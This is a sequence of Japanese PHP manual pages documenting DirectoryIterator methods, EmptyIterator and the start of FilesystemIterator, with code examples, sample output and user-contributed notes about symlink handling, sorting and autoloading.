  • pathinfo() - ファイルパスに関する情報を返す

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムのパーミッションを取得する

  • ≪ DirectoryIterator::getPathname
  • DirectoryIterator::getSize ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムのパーミッションを取得する

DirectoryIterator::getPerms

(PHP 5, PHP 7)

DirectoryIterator::getPerms — 現在の DirectoryIterator アイテムのパーミッションを取得する

説明

public DirectoryIterator::getPerms ( ) : int

現在の DirectoryIterator アイテムのパーミッションを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルのパーミッションを、十進形式の整数値で返します。

例

例1 DirectoryIterator::getPerms() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if (!$fileinfo->isDot()) {
        $octal_perms = substr(sprintf('%o', $fileinfo->getPerms()), -4);
        echo $fileinfo->getFilename() . " " . $octal_perms . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg 0644
banana.jpg 0644
index.php 0744
pear.jpg 0644

参考

  • DirectoryIterator::isExecutable() - 現在の DirectoryIterator アイテムが実行可能であるかどうかを調べる
  • DirectoryIterator::isReadable() - 現在の DirectoryIterator アイテムが読込可能であるかどうかを調べる
  • DirectoryIterator::isWritable() - 現在の DirectoryIterator アイテムが書き込み可能であるかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムのサイズを取得する

  • ≪ DirectoryIterator::getPerms
  • DirectoryIterator::getType ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムのサイズを取得する

DirectoryIterator::getSize

(PHP 5, PHP 7)

DirectoryIterator::getSize — 現在の DirectoryIterator アイテムのサイズを取得する

説明

public DirectoryIterator::getSize ( ) : int

現在の DirectoryIterator アイテムのファイルサイズを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルサイズをバイト単位で返します。

例

例1 DirectoryIterator::getSize() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . " " . $fileinfo->getSize() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg 15385
banana.jpg 15190
example.php 170
pear.jpg 34406

参考

  • filesize() - ファイルのサイズを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムのタイプを判定する

  • ≪ DirectoryIterator::getSize
  • DirectoryIterator::isDir ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムのタイプを判定する

DirectoryIterator::getType

(PHP 5, PHP 7)

DirectoryIterator::getType — 現在の DirectoryIterator アイテムのタイプを判定する

説明

public DirectoryIterator::getType ( ) : string

現在の DirectoryIterator アイテムのファイルタイプを判定します。 file、link あるいは dir のいずれかとなります。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルタイプを文字列で返します。 file、link あるいは dir のいずれかとなります。

例

例1 DirectoryIterator::getType() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    echo $fileinfo->getFilename() . " " . $fileinfo->getType() . "\n";
}
?>

上の例の出力は、 たとえば以下のようになります。

. dir
.. dir
apple.jpg file
banana.jpg file
example.php file
pear.jpg file

参考

  • DirectoryIterator::isDir() - 現在の DirectoryIterator アイテムがディレクトリであるかどうかを調べる
  • DirectoryIterator::isDot() - 現在の DirectoryIterator アイテムが '.' もしくは '..' であるかどうかを調べる
  • DirectoryIterator::isFile() - 現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べる
  • DirectoryIterator::isLink() - 現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べる

User Contributed Notes

boards at gmail dot com 09-Apr-2006 09:09
Note that this function returns the file type (e.g. "file", "dir", etc.) and not the MIME type.  To do that, you might want to use this:
<?php
for
(
  $dir = new DirectoryIterator('/some/directory');
  $dir->valid();
  $dir->next()
)
{
  $mime = mime_content_type($dir->getPathname());
}
?>


現在の DirectoryIterator アイテムがディレクトリであるかどうかを調べる

  • ≪ DirectoryIterator::getType
  • DirectoryIterator::isDot ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムがディレクトリであるかどうかを調べる

DirectoryIterator::isDir

(PHP 5, PHP 7)

DirectoryIterator::isDir — 現在の DirectoryIterator アイテムがディレクトリであるかどうかを調べる

説明

public DirectoryIterator::isDir ( ) : bool

現在の DirectoryIterator アイテムがディレクトリかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ディレクトリの場合に true、そうでない場合に false を返します。

例

例1 DirectoryIterator::isDir() の例

この例は、現在のスクリプトのディレクトリ内のディレクトリを一覧表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isDir()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

.
..
apples
bananas
pears

参考

  • DirectoryIterator::getType() - 現在の DirectoryIterator アイテムのタイプを判定する
  • DirectoryIterator::isDot() - 現在の DirectoryIterator アイテムが '.' もしくは '..' であるかどうかを調べる
  • DirectoryIterator::isFile() - 現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べる
  • DirectoryIterator::isLink() - 現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べる

User Contributed Notes

dev at mike dot pp dot ua 20-Jun-2019 09:16
Documentation is a bit misleading.

DirectoryIterator->isDir() and other classes (e.g. SplFileInfo->isDir()) return TRUE for symlinks of directories. Better use getType() method instead, which returns 'link' for symlinks.

This was reported long time ago - https://bugs.php.net/bug.php?id=72364 , but docs are still not fixed.


現在の DirectoryIterator アイテムが '.' もしくは '..' であるかどうかを調べる

  • ≪ DirectoryIterator::isDir
  • DirectoryIterator::isExecutable ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムが '.' もしくは '..' であるかどうかを調べる

DirectoryIterator::isDot

(PHP 5, PHP 7)

DirectoryIterator::isDot — 現在の DirectoryIterator アイテムが '.' もしくは '..' であるかどうかを調べる

説明

public DirectoryIterator::isDot ( ) : bool

現在の DirectoryIterator アイテムがディレクトリであり、かつ . あるいは .. のどちらかであるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

エントリが . あるいは .. である場合に true、そうでない場合に false を返します。

例

例1 DirectoryIterator::isDot() の例

この例は、すべてのファイルを出力しますが . と .. は無視します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if (!$fileinfo->isDot()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg
banana.jpg
example.php
pears.jpg

参考

  • DirectoryIterator::getType() - 現在の DirectoryIterator アイテムのタイプを判定する
  • DirectoryIterator::isDir() - 現在の DirectoryIterator アイテムがディレクトリであるかどうかを調べる
  • DirectoryIterator::isFile() - 現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べる
  • DirectoryIterator::isLink() - 現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムが実行可能であるかどうかを調べる

  • ≪ DirectoryIterator::isDot
  • DirectoryIterator::isFile ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムが実行可能であるかどうかを調べる

DirectoryIterator::isExecutable

(PHP 5, PHP 7)

DirectoryIterator::isExecutable — 現在の DirectoryIterator アイテムが実行可能であるかどうかを調べる

説明

public DirectoryIterator::isExecutable ( ) : bool

現在の DirectoryIterator アイテムが実行可能かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

エントリが実行可能である場合に true、そうでない場合に false を返します。

例

例1 DirectoryIterator::isExecutable() の例

この例は、スクリプトを含むディレクトリの実行可能なファイルを一覧表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isExecutable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

example.php
myscript.sh

参考

  • DirectoryIterator::isReadable() - 現在の DirectoryIterator アイテムが読込可能であるかどうかを調べる
  • DirectoryIterator::isWritable() - 現在の DirectoryIterator アイテムが書き込み可能であるかどうかを調べる
  • DirectoryIterator::getPerms() - 現在の DirectoryIterator アイテムのパーミッションを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べる

  • ≪ DirectoryIterator::isExecutable
  • DirectoryIterator::isLink ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べる

DirectoryIterator::isFile

(PHP 5, PHP 7)

DirectoryIterator::isFile — 現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べる

説明

public DirectoryIterator::isFile ( ) : bool

現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルが存在し、かつそれが通常のファイルである (link や dir ではない) 場合に true、 そうでない場合に false を返します。

例

例1 DirectoryIterator::isFile() の例

この例は、スクリプトのディレクトリ内にある通常のファイルをすべて一覧表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isFile()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg
banana.jpg
example.php
pears.jpg

参考

  • DirectoryIterator::getType() - 現在の DirectoryIterator アイテムのタイプを判定する
  • DirectoryIterator::isDir() - 現在の DirectoryIterator アイテムがディレクトリであるかどうかを調べる
  • DirectoryIterator::isDot() - 現在の DirectoryIterator アイテムが '.' もしくは '..' であるかどうかを調べる
  • DirectoryIterator::isLink() - 現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べる

User Contributed Notes

dev at mike dot pp dot ua 20-Jun-2019 09:14
Documentation is a bit misleading.

DirectoryIterator->isFile() and other classes (e.g. SplFileInfo->isFile()) return TRUE for symlinks of files. Better use getType() method instead, which returns 'link' for symlinks.

This was reported long time ago - https://bugs.php.net/bug.php?id=72364 , but docs are still not fixed.
Philipp W. gnurepublic_at_linuxmail.org 30-Jul-2007 02:49
to actually sort a directoryiterator you need to subclass the iterator and use a comparator function similar to this one

<?php
function cmpSPLFileInfo( $splFileInfo1, $splFileInfo2 )
{
    return strcmp( $splFileInfo1->getFileName(), $splFileInfo2->getFileName() );
}

class DirList extends RecursiveDirectoryIterator
{
    private $dirArray;

    public function __construct( $p )
    {
        parent::__construct( $p );
        $this->dirArray = new ArrayObject();
        foreach( $this as $item )
        {
            $this->dirArray->append( $item );
        }
        $this->dirArray->uasort( "cmpSPLFileInfo" );
    }

    public function getIterator()
    {
        return $this->dirArray->getIterator();
    }

}
?>
DieselDriver at edu dot uni-klu dot ac dot at 24-Apr-2007 08:17
shows all .jpg files in the current directory but how does the DirectoryIterator sort the output!?

$dir=new DirectoryIterator("./");
foreach ($dir as $file) {
  if ($dir->isDot()) {continue;}    //removes . and ..
    if (strripos($file,".jpg")==true) {
      echo $file . "<br>\n";
    }
 }
kencomer at NOSPAM dot kencomer dot com 14-Sep-2005 06:49
I put in an example in __autoload, but it is useful here, too...

Yet another class/interface __autoload function. Includes an example usage of the SPL DirectoryIterator class, a settable case-ignore flag, and support for multiple file name patterns to allow easy integration from multiple sources.

<?php
/**
 * __autoload
 *
 * @author Ken Comer
 * @copyright released into public domain 2005 Ken Comer
 */

define('IGNORE_CASE',true);
// comment out the define() of IGNORE_CASE to be
//   case-sensitive. I like to ignore case so that I can
//   use UPPERCASE for the test versions of the file.

/**
 * autoloads classes and interfaces for PHP5
 *
 * @author Ken Comer
 */

function __autoload($class_name) {

  // This will be set the first time through.
  // Put your default values in the place indicated
  //    below so as to eliminate possible duplicates
  //    in the .ini include_path
  static $possible_path = NULL;
  // Leave this as NULL.

  // List here whatever formats you use for your
  //    file names. Note that, if you autoload
  //    a class that implements a non-loaded interface,
  //    you will also need to autoload that interface.
  static $permitted_formats = array(
    "&CLASS.class.inc"
    ,"&CLASS.class.inc.php"
    ,"&CLASS.class.inc.php5"
    ,"class.&CLASS.inc"
    ,"class.&CLASS.inc.php"
    ,"class.&CLASS.inc.php5"
    ,"&CLASS.interface.inc"
    ,"&CLASS.interface.inc.php"
    ,"&CLASS.interface.inc.php5"
    ,"i&CLASS.interface.inc"
    ,"i&CLASS.interface.inc.php"
    ,"i&CLASS.interface.inc.php5"
  );
  //  Put the &CLASS wherever the $class_name
  //    might appear

  // Only executed the first time __autoload is called
  if (NULL===$possible_path):
    // These are the default paths for this application
    $possible_path = array_flip(array(
        "."
        ,".."
        ,"../include"
        ,"/public_html/php/include"
    ));
    // Customize this yourself, but leave the
    //      array_flip alone. We will use this
    //      to get rid of duplicate entries from the
    //      include_path .ini list.

    // Merge the flipped arrays to get rid of duplicate
    //      "keys" (which are really the valid include
    //      paths) then strip out the keys leaving only
    //      uniques. This is marginally faster than
    //      using array_combine and array_unique and
    //      much more elegant. Okay, it's weird, too.
    $possible_path = array_keys(array_merge($possible_path,
            array_flip(explode(ini_get("include_path"),";"))));
  endif; /* static $possible_path initialization */

  $possibility = str_replace("&CLASS",$class_name,$permitted_formats);

  foreach ( $possible_path as $directory ) {
    if (!file_exists($directory) or !is_dir($directory))
    {
      continue;
    }
    $file_to_check = new DirectoryIterator($directory);

    foreach ( $file_to_check as $file ) {
      // ignore directories and files that do not contain
      // $class_name
      if ( !$file->isDir()
          and ( defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
            ? stripos($file->getFileName(),$class_name)
            : strpos($file->getFileName(),$class_name) ) :

        // class_name was included, now compare against
        // all permitted file name patterns
        foreach ( $possibility as $compare ):
            if ((defined(IGNORE_CASE) && TRUE===IGNORE_CASE )
                ? !strcasecmp($compare,$file->getFileName())
                : $compare===$file->getFileName()
            ) {
              // by using $compare, you will get a qualified
              //    file name
              include_once($compare);
              return TRUE;
            }
        endforeach; /* $possibility */

      endif;
    } /* foreach $file_to_check */
  }
}
?>
ludvig dot ericson at gmail dot com 31-Aug-2005 04:29
Usage:
<?php
//open current directory
$dir = new DirectoryIterator(".");
// use do .. while since we need to iterate atleast once
// and the first two items are always "." and ".."
do  {
    // if it isn't "." or ".."
    if (!$dir->isDot()) {
        // echo out pathname and "/" if it's a directory
        echo $dir->getPathname() . ($dir->isDir() ? "/" : "");
    }
} while ($dir->next())
?>

Outputs something like:
/path/file1
/path/dir1/
/path/file2
/path/file3
/path/dir2/

---
Note from the extension author:

Try this:

<?php
foreach(new DirectoryIterator(".") as $file)
{
    if (!$file->isDot()) {
        echo $file->getPathname() . ($file->isDir() ? "/" : "");
    }
}
?>


現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べる

  • ≪ DirectoryIterator::isFile
  • DirectoryIterator::isReadable ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べる

DirectoryIterator::isLink

(PHP 5, PHP 7)

DirectoryIterator::isLink — 現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べる

説明

public DirectoryIterator::isLink ( ) : bool

現在の DirectoryIterator アイテムがシンボリックリンクであるかどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

エントリがシンボリックリンクである場合に true、そうでない場合に false を返します。

例

例1 DirectoryIterator::isLink() の例

この例は、ディレクトリツリーを削除する再帰関数です。

<?php
/**
 * この関数は、指定したパスの配下にあるすべてのファイルを削除しますが
 * シンボリックリンクの先はたどりません
 *
 * @param string $path 削除したいディレクトリのパス
 */
function removeDir($path) {
    $dir = new DirectoryIterator($path);
    foreach ($dir as $fileinfo) {
        if ($fileinfo->isFile() || $fileinfo->isLink()) {
            unlink($fileinfo->getPathName());
        } elseif (!$fileinfo->isDot() && $fileinfo->isDir()) {
            removeDir($fileinfo->getPathName());
        }
    }
    rmdir($path);
}

removeDir('foo');
?>

参考

  • DirectoryIterator::getType() - 現在の DirectoryIterator アイテムのタイプを判定する
  • DirectoryIterator::isDir() - 現在の DirectoryIterator アイテムがディレクトリであるかどうかを調べる
  • DirectoryIterator::isDot() - 現在の DirectoryIterator アイテムが '.' もしくは '..' であるかどうかを調べる
  • DirectoryIterator::isFile() - 現在の DirectoryIterator アイテムが通常のファイルであるかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムが読込可能であるかどうかを調べる

  • ≪ DirectoryIterator::isLink
  • DirectoryIterator::isWritable ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムが読込可能であるかどうかを調べる

DirectoryIterator::isReadable

(PHP 5, PHP 7)

DirectoryIterator::isReadable — 現在の DirectoryIterator アイテムが読込可能であるかどうかを調べる

説明

public DirectoryIterator::isReadable ( ) : bool

現在の DirectoryIterator アイテムが読込可能かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイルが読込可能である場合に true、そうでない場合に false を返します。

例

例1 DirectoryIterator::isReadable() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isReadable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apple.jpg
banana.jpg
example.php
pears.jpg

参考

  • DirectoryIterator::isExecutable() - 現在の DirectoryIterator アイテムが実行可能であるかどうかを調べる
  • DirectoryIterator::isWritable() - 現在の DirectoryIterator アイテムが書き込み可能であるかどうかを調べる
  • DirectoryIterator::getPerms() - 現在の DirectoryIterator アイテムのパーミッションを取得する

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムが書き込み可能であるかどうかを調べる

  • ≪ DirectoryIterator::isReadable
  • DirectoryIterator::key ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムが書き込み可能であるかどうかを調べる

DirectoryIterator::isWritable

(PHP 5, PHP 7)

DirectoryIterator::isWritable — 現在の DirectoryIterator アイテムが書き込み可能であるかどうかを調べる

説明

public DirectoryIterator::isWritable ( ) : bool

現在の DirectoryIterator アイテムが書き込み可能かどうかを調べます。

パラメータ

この関数にはパラメータはありません。

返り値

ファイル/ディレクトリが書き込み可能である場合に true、そうでない場合に false を返します。

例

例1 DirectoryIterator::isWritable() の例

この例は、スクリプトのディレクトリ内にある書き込みオープン可能なファイルやディレクトリを一覧表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
foreach ($iterator as $fileinfo) {
    if ($fileinfo->isWritable()) {
        echo $fileinfo->getFilename() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

apples.txt
bananas.html
pears

参考

  • DirectoryIterator::getPerms() - 現在の DirectoryIterator アイテムのパーミッションを取得する
  • DirectoryIterator::isExecutable() - 現在の DirectoryIterator アイテムが実行可能であるかどうかを調べる
  • DirectoryIterator::isReadable() - 現在の DirectoryIterator アイテムが読込可能であるかどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator アイテムのキーを返す

  • ≪ DirectoryIterator::isWritable
  • DirectoryIterator::next ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator アイテムのキーを返す

DirectoryIterator::key

(PHP 5, PHP 7)

DirectoryIterator::key — 現在の DirectoryIterator アイテムのキーを返す

説明

public DirectoryIterator::key ( ) : string

現在の DirectoryIterator アイテムのキーを取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の DirectoryIterator アイテムのキーを返します。

例

例1 DirectoryIterator::key() の例

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    if (!$fileinfo->isDot()) {
        echo $fileinfo->key() . " => " . $fileinfo->getFilename() . "\n";
    }
}
?>

上の例の出力は、 たとえば以下のようになります。

0 => apple.jpg
1 => banana.jpg
2 => index.php
3 => pear.jpg

参考

  • DirectoryIterator::current() - 現在の DirectoryIterator アイテムを返す
  • DirectoryIterator::next() - 次の DirectoryIterator アイテムに移動する
  • DirectoryIterator::rewind() - DirectoryIterator を最初に巻き戻す
  • DirectoryIterator::valid() - 現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックする
  • Iterator::key() - 現在の要素のキーを返す

User Contributed Notes

There are no user contributed notes for this page.


次の DirectoryIterator アイテムに移動する

  • ≪ DirectoryIterator::key
  • DirectoryIterator::rewind ≫
  • PHP Manual
  • DirectoryIterator
  • 次の DirectoryIterator アイテムに移動する

DirectoryIterator::next

(PHP 5, PHP 7)

DirectoryIterator::next — 次の DirectoryIterator アイテムに移動する

説明

public DirectoryIterator::next ( ) : void

次の DirectoryIterator アイテムに移動します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 DirectoryIterator::next() の例

ディレクトリ内の一覧を while ループで表示します。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
while($iterator->valid()) {
    echo $iterator->getFilename() . "\n";
    $iterator->next();
}
?>

上の例の出力は、 たとえば以下のようになります。

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

参考

  • DirectoryIterator::current() - 現在の DirectoryIterator アイテムを返す
  • DirectoryIterator::key() - 現在の DirectoryIterator アイテムのキーを返す
  • DirectoryIterator::rewind() - DirectoryIterator を最初に巻き戻す
  • DirectoryIterator::valid() - 現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックする
  • Iterator::next() - 次の要素に進む

User Contributed Notes

There are no user contributed notes for this page.


DirectoryIterator を最初に巻き戻す

  • ≪ DirectoryIterator::next
  • DirectoryIterator::seek ≫
  • PHP Manual
  • DirectoryIterator
  • DirectoryIterator を最初に巻き戻す

DirectoryIterator::rewind

(PHP 5, PHP 7)

DirectoryIterator::rewind — DirectoryIterator を最初に巻き戻す

説明

public DirectoryIterator::rewind ( ) : void

DirectoryIterator を最初に巻き戻します。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

例

例1 DirectoryIterator::rewind() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

$iterator->next();
echo $iterator->key(); //1

$iterator->rewind(); // 最初に巻き戻します
echo $iterator->key(); //0
?>

参考

  • DirectoryIterator::current() - 現在の DirectoryIterator アイテムを返す
  • DirectoryIterator::key() - 現在の DirectoryIterator アイテムのキーを返す
  • DirectoryIterator::next() - 次の DirectoryIterator アイテムに移動する
  • DirectoryIterator::valid() - 現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックする
  • Iterator::rewind() - イテレータの最初の要素に巻き戻す

User Contributed Notes

There are no user contributed notes for this page.


DirectoryIterator のアイテムを移動する

  • ≪ DirectoryIterator::rewind
  • DirectoryIterator::__toString ≫
  • PHP Manual
  • DirectoryIterator
  • DirectoryIterator のアイテムを移動する

DirectoryIterator::seek

(PHP 5 >= 5.3.0, PHP 7)

DirectoryIterator::seek — DirectoryIterator のアイテムを移動する

説明

public DirectoryIterator::seek ( int $position ) : void

DirectoryIterator の指定した位置に移動します。

パラメータ

position

異動先を表す、ゼロから始まる位置。

返り値

値を返しません。

例

例1 DirectoryIterator::seek() の例

スクリプトを含むディレクトリの四番目のアイテムに移動します。 最初の二つは、通常は . と .. です。

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));
$iterator->seek(3);
if ($iterator->valid()) {
    echo $iterator->getFilename();
} else {
    echo 'No file at position 3';
}
?>

参考

  • DirectoryIterator::rewind() - DirectoryIterator を最初に巻き戻す
  • DirectoryIterator::next() - 次の DirectoryIterator アイテムに移動する
  • SeekableIterator::seek() - 位置を移動する

User Contributed Notes

There are no user contributed notes for this page.


ファイル名を文字列として取得する

  • ≪ DirectoryIterator::seek
  • DirectoryIterator::valid ≫
  • PHP Manual
  • DirectoryIterator
  • ファイル名を文字列として取得する

DirectoryIterator::__toString

(PHP 5, PHP 7)

DirectoryIterator::__toString — ファイル名を文字列として取得する

説明

public DirectoryIterator::__toString ( ) : string

現在の DirectoryIterator のアイテムのファイル名を取得します。

パラメータ

この関数にはパラメータはありません。

返り値

現在の DirectoryIterator のアイテムのファイル名を返します。

例

例1 DirectoryIterator::__toString() の例

この例は、スクリプトを含むディレクトリの中身を一覧表示します。

<?php
$dir = new DirectoryIterator(dirname(__FILE__));
foreach ($dir as $fileinfo) {
    echo $fileinfo;
}
?>

上の例の出力は、 たとえば以下のようになります。

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

参考

  • DirectoryIterator::getFilename() - 現在の DirectoryIterator アイテムのファイル名を返す
  • __toString() マジックメソッド

User Contributed Notes

There are no user contributed notes for this page.


現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックする

  • ≪ DirectoryIterator::__toString
  • EmptyIterator ≫
  • PHP Manual
  • DirectoryIterator
  • 現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックする

DirectoryIterator::valid

(PHP 5, PHP 7)

DirectoryIterator::valid — 現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックする

説明

public DirectoryIterator::valid ( ) : bool

現在の DirectoryIterator の位置が有効なファイルであるかどうかチェックします。

パラメータ

この関数にはパラメータはありません。

返り値

有効な位置である場合は true、それ以外の場合は false を返します。

例

例1 DirectoryIterator::valid() の例

<?php
$iterator = new DirectoryIterator(dirname(__FILE__));

// イテレータの最後の位置までループします
while($iterator->valid()) {
    $iterator->next();
}

$iterator->valid(); // FALSE
$iterator->rewind();
$iterator->valid(); // TRUE

?>

参考

  • DirectoryIterator::current() - 現在の DirectoryIterator アイテムを返す
  • DirectoryIterator::key() - 現在の DirectoryIterator アイテムのキーを返す
  • DirectoryIterator::next() - 次の DirectoryIterator アイテムに移動する
  • DirectoryIterator::rewind() - DirectoryIterator を最初に巻き戻す
  • Iterator::valid() - 現在位置が有効かどうかを調べる

User Contributed Notes

There are no user contributed notes for this page.


EmptyIterator クラス

(PHP 5 >= 5.1.0, PHP 7)

はじめに

空のイテレータ用の EmptyIterator クラスです。

クラス概要

EmptyIterator implements Iterator {
/* メソッド */
public current ( ) : mixed
public key ( ) : scalar
public next ( ) : void
public rewind ( ) : void
public valid ( ) : bool
}

目次

  • EmptyIterator::current — current() メソッド
  • EmptyIterator::key — key() メソッド
  • EmptyIterator::next — next() メソッド
  • EmptyIterator::rewind — rewind() メソッド
  • EmptyIterator::valid — valid() メソッド

User Contributed Notes

Ben 20-Jun-2017 12:42
Example use case:

<?php
class MyIterator implements IteratorAggregate
{
    /**
     * @var string
     */
    private $url;

    /**
     * MyIterator constructor.
     * @param $url
     */
    public function __construct($url)
    {
        $this->url = $url;
    }

    /**
     * @inheritDoc
     */
    public function getIterator()
    {
        $content = file_get_contents($this->url);
        try {
            return @new SimpleXMLIterator($content);

        } catch (Exception $e) { // Case $content is not valid XML, but you don't care
            return new EmptyIterator();
        }
    }

}
?>


current() メソッド

  • ≪ EmptyIterator
  • EmptyIterator::key ≫
  • PHP Manual
  • EmptyIterator
  • current() メソッド

EmptyIterator::current

(PHP 5 >= 5.1.0, PHP 7)

EmptyIterator::current — current() メソッド

説明

public EmptyIterator::current ( ) : mixed

このメソッドをコールしてはいけません。アクセスされると例外をスローします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

エラー / 例外

コールされると Exception をスローします。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


key() メソッド

  • ≪ EmptyIterator::current
  • EmptyIterator::next ≫
  • PHP Manual
  • EmptyIterator
  • key() メソッド

EmptyIterator::key

(PHP 5 >= 5.1.0, PHP 7)

EmptyIterator::key — key() メソッド

説明

public EmptyIterator::key ( ) : scalar

このメソッドをコールしてはいけません。アクセスされると例外をスローします。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

エラー / 例外

コールされると Exception をスローします。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


next() メソッド

  • ≪ EmptyIterator::key
  • EmptyIterator::rewind ≫
  • PHP Manual
  • EmptyIterator
  • next() メソッド

EmptyIterator::next

(PHP 5 >= 5.1.0, PHP 7)

EmptyIterator::next — next() メソッド

説明

public EmptyIterator::next ( ) : void

何もしません。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


rewind() メソッド

  • ≪ EmptyIterator::next
  • EmptyIterator::valid ≫
  • PHP Manual
  • EmptyIterator
  • rewind() メソッド

EmptyIterator::rewind

(PHP 5 >= 5.1.0, PHP 7)

EmptyIterator::rewind — rewind() メソッド

説明

public EmptyIterator::rewind ( ) : void

何もしません。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

値を返しません。

User Contributed Notes

There are no user contributed notes for this page.


valid() メソッド

  • ≪ EmptyIterator::rewind
  • FilesystemIterator ≫
  • PHP Manual
  • EmptyIterator
  • valid() メソッド

EmptyIterator::valid

(PHP 5 >= 5.1.0, PHP 7)

EmptyIterator::valid — valid() メソッド

説明

public EmptyIterator::valid ( ) : bool

EmptyIterator の valid() メソッドです。

警告

この関数は、 現在のところ詳細な情報はありません。引数のリストのみが 記述されています。

パラメータ

この関数にはパラメータはありません。

返り値

false

User Contributed Notes

There are no user contributed notes for this page.


FilesystemIterator クラス

(PHP 5 >= 5.3.0, PHP 7)

はじめに

Filesystem イテレータです。

クラス概要

FilesystemIterator extends DirectoryIterator implements SeekableIterator {
/* 定数 */
const int CURRENT_AS_PATHNAME = 32 ;
const int CURRENT_AS_FILEINFO = 0 ;
